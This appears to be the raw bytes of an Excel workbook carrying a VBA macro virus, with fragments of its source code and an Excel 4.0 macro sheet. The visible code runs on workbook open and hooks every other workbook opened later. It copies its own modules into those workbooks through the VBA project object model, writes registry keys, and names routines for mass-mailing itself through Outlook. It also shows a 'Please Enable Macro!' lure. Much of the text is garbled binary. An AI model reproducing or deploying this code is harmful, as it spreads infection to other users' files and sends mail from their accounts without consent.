Office\10.8.2.6990\office6\vbe6ext.olb#Microsoft Visual Basic for Applications Extensibility 5.3 W_6ThisWorkbook065f57efddThisWorkbookm Sheet1075f57efdd Sheet1 ToDOLE055f57efdd ToDOLE]0VP00(E;ЈARcZId9 ׳aATB"~0D Excel+` VBA`Win16~`Win32`Mac`VBA6#`1p` stdole`` VBAProject` Officeu` ThisWorkbook|` _Evaluate` Sheet1` VBIDEA`ģ1c` ToDOLEŝ` auto_openV ` Application*` DisplayAlerts`Path2` StartupPathi`ScreenUpdating! `delete_this_wk}`copytoworkbooke`Sheets ` Movemacro4@`Save`DQUOTE!x` VBProjectOh` VBComponents '` CodeModule` InsertLines`VBProj`VBCompӜ` VBComponent`CodeMod}O` DeleteLines ` CountOfLines!\`(do_what`RestoreAfterOpen`(OpenDoor`(Microsofthobby ` ActionJudgeBG` (copystart `wb_`Workbookk`VBProj1F`VBProj2G` WorkbooksB` (copymodule` ModuleName#>` FromVBProject6` ToVBProject`OverwriteExistingk`FNameR`CompName!`Sj`SlashPosk#`ExtPosF` TempVBComp`Trim@` vbNullString` Protection`vbext_pp_lockedh`Erro`Number-`Environ,`vbNormal-`vbHiddenT;`vbSystem`Clear`Kill`Removeϱ`Itemz`Export`FileNamej`InStrRevĈ`Importi`vbext_ct_Document `Lines`myfile0[y`MyFile`FullNameО` WorkbookOpen`ShellV`vbMinimizedFocusx`IsAddin~|` SaveCopyAsT`Fso`RK1`RK2`RK3`RK4`KValue1'`KValue2(`VS_`Version` CreateObject`(WRegy`strkey`ValueK` ValueType `oWshellu`RegWrite!>`sht`Addr`xlExcel4MacroSheet0` ActiveSheet%N`Range ` ActiveCell` FormulaR1C1S`UserName\`ChrK~`Now%`Namesο`~~~~~~~~~~~~W ?({HOX   )Y! )Y1 VBAProject ThisWorkbookSheet1ģ1ToDOLEF /C:\PROGRA~1\COMMON~1\MICROS~1\VBA\VBA6\VBE6.DLLVBA q 0F4C:\Program Files\Microsoft Office\OFFICE11\EXCEL.EXEExcel i @0FC:\Windows\system32\stdole2.tlbstdole yPL-[DR?C:\Program Files\Common Files\Microsoft Shared\OFFICE11\MSO.DLLOffice a`WFDC:\Program Files\Kingsoft\WPS Office\10.8.2.6990\office6\vbe6ext.olbVBIDE Ap auto_opencopytoworkbookdelete_this_wkdo_what copystartF copymodule OĦMicrosofthobbyOpenDoorWReg Movemacro4 WorkbookOpen ActionJudge search_in_OLCreatCab_SendMailMassive_SendMailif_outlook_open RadomNineget_ten_addressReadOut CreateFileRestoreBeforeSendRestoreAfterOpen FFY Fdi_C(]6QF4jOO7QܣgDFWorkbook @FName Macro1Y  ThisWorkbook`FbFdFnF " FPublic WithEvents xx As Application 6Private Sub Workbook_open() (Set xx = Application (On Error Resume Next BApplication.DisplayAlerts = False Call do_what End Sub bPrivate Sub xx_workbookOpen(ByVal wb As Workbook) Jwb.VBProject.References.AddFromGuid _ GUID:= L{0002E157-0000-0000-C000-000000000046} , _ $Major:=5, Minor:=3 DApplication.ScreenUpdating = False copystart wb BApplication.ScreenUpdating = TrueF={K_`A F5rueJm.,Q6DF Worksheet Select A2 =ERROR(FALSE) A3 (=IF(ERROR.TYPE(RUN(" "))=4) A4 =ALERT("y(u[ sQ  0Please Enable Macro!",3) A5 $=FILE.CLOSE(FALSE) A6 =END.IF() A7 =RETURN() !Auto_Activate =Macro1!$A$2VisibleVBE6.DLL `  " (!rU~~~~w 8 !Ywb ModuleName Y FromVBProject ToVBProjectOverwriteExistingstrkeyValue ValueType 14 WorkBookName Email_AddressSubjectBody CC_email_add AttachmentlengthFullPathFragMarkpathf !q ( !8ThisWorkbookThisWorkbookSheet1Sheet1ToDOLEToDOLEID="{B1061220-8A38-4CA7-8202-2271CBC6ABBE}" Document=ThisWorkbook/&H00000000 Document=Sheet1/&H00000000 Module=ToDOLE Name="VBAProject" HelpContextID="0" VersionCompatible32="393222000" CMG="7270CF5F4563456345634563" DPB="E4E659D1B942BA42BA42" GC="5654EB632FA7A0A8A0A85F" [Host Extender Info] &H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000 [Workspace] ThisWorkbook=0, 0, 0, 0, C Sheet1=0, 0, 0, 0, C ToDOLE=0, 0, 0, 0, C Oh+'0HPhx ±ƹNPOI@ASummaryInformation(DocumentSummaryInformation8CompObjj@I@Ckmd՜.+,D՜.+, PXl t|  ĿƼ' ±_0 0{ GeneratorGenerator VersionKSOProductBuildVerNPOI2.1.32052-11.1.0.8808 FMicrosoft Office Excel Biff8Excel.Sheet.89q